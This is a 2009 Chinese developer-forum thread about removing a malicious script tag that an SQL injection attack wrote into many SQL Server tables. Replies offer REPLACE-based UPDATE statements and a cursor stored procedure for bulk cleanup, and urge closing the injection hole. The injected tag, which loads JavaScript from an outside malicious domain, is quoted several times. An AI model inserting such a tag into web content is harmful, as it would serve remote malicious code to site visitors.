sql server 多个表被注入

duduotianya 2009-08-07 10:24:55
sql server 多个表被注入一段恶意代码 <script src=http://3god.ne%54/c.js></script>
怎么批量替换这些代码?
...全文
103 9 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
duduotianya 2009-08-08
  • 打赏
  • 举报
回复
防注入已经做了
lzp4881 2009-08-07
  • 打赏
  • 举报
回复
光替换是没有用的,关键是要找出注入点,堵上漏洞。不然你今天替换了,明天又被注入。
sy_binbin 2009-08-07
  • 打赏
  • 举报
回复
那你参考下面的方法试试
http://hi.baidu.com/gzqsd/blog/item/353aa3a96b78ffb8ca130c68.html
duduotianya 2009-08-07
  • 打赏
  • 举报
回复
UPDATE tbl SET xxx = REPLACE(xxx, '<script src=http://3god.ne[%]54/c.js></script>', '')
只能一个表一个表,一个字段一个字段的替换??
invoked 2009-08-07
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 hookee 的回复:]
先备份
语句中%改为[%]
SQL codeUPDATE tblSET xxx=REPLACE(xxx,'<script src=http://3god.ne[%]54/c.js></script>','')
[/Quote]
Up
hookee 2009-08-07
  • 打赏
  • 举报
回复
先备份
语句中%改为[%]
UPDATE tbl SET xxx = REPLACE(xxx, '<script src=http://3god.ne[%]54/c.js></script>', '')
sy_binbin 2009-08-07
  • 打赏
  • 举报
回复
语法
REPLACE ( original-string, search-string, replace-string )

参数
如果有某个参数为 NULL,此函数返回 NULL。

original-string 被搜索的字符串。可为任意长度。

search-string 要搜索并被 replace-string 替换的字符串。该字符串的长度不应超过 255 个字节。如果 search-string 是空字符串,则按原样返回原始字符串。

replace-string 该字符串用于替换 search-string。可为任意长度。如果 replacement-string 是空字符串,则删除出现的所有 search-string。

例子:
update jobs set job_desc=REPLACE(job_desc,'wgc','abc')Where min_lvl=10
将表jobs 中的job_desc字段中的'wgc'替换为'abc',条件为Where min_lvl=10
wellsoho 2009-08-07
  • 打赏
  • 举报
回复
[Quote=引用 6 楼 lzp4881 的回复:]
光替换是没有用的,关键是要找出注入点,堵上漏洞。不然你今天替换了,明天又被注入。
[/Quote]


同意。一定要做好防sql注入,否则白改。
duduotianya 2009-08-07
  • 打赏
  • 举报
回复

--DROP PROCEDURE dbo.sp_delmuma
CREATE PROCEDURE dbo.sp_delmuma
AS
declare @delStr nvarchar(500)
set @delStr='<script src=http://3god.ne%54/c.js></script>' --要被替换掉字符

set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@columnType int,@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (175,167,239,231,35,99) 为char,varchar,nchar,nvarchar,text,ntext类型
select name,xtype from syscolumns where xtype in (175,167,239,231,35,99) and id=@tbID
open cur1
fetch next from cur1 into @columnName,@columnType
while @@fetch_status=0
begin
if (@columnType=99)
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
--update news set content=replace(cast(content as varchar(8000)),'<script src=http://3b3.org/c.js></script>','')
end
else if (@columnType=35)
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(300)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
end
else
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
end
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
end
fetch next from cur1 into @columnName,@columnType

end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off

GO
================================
这样行么?高手们!

28,409

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧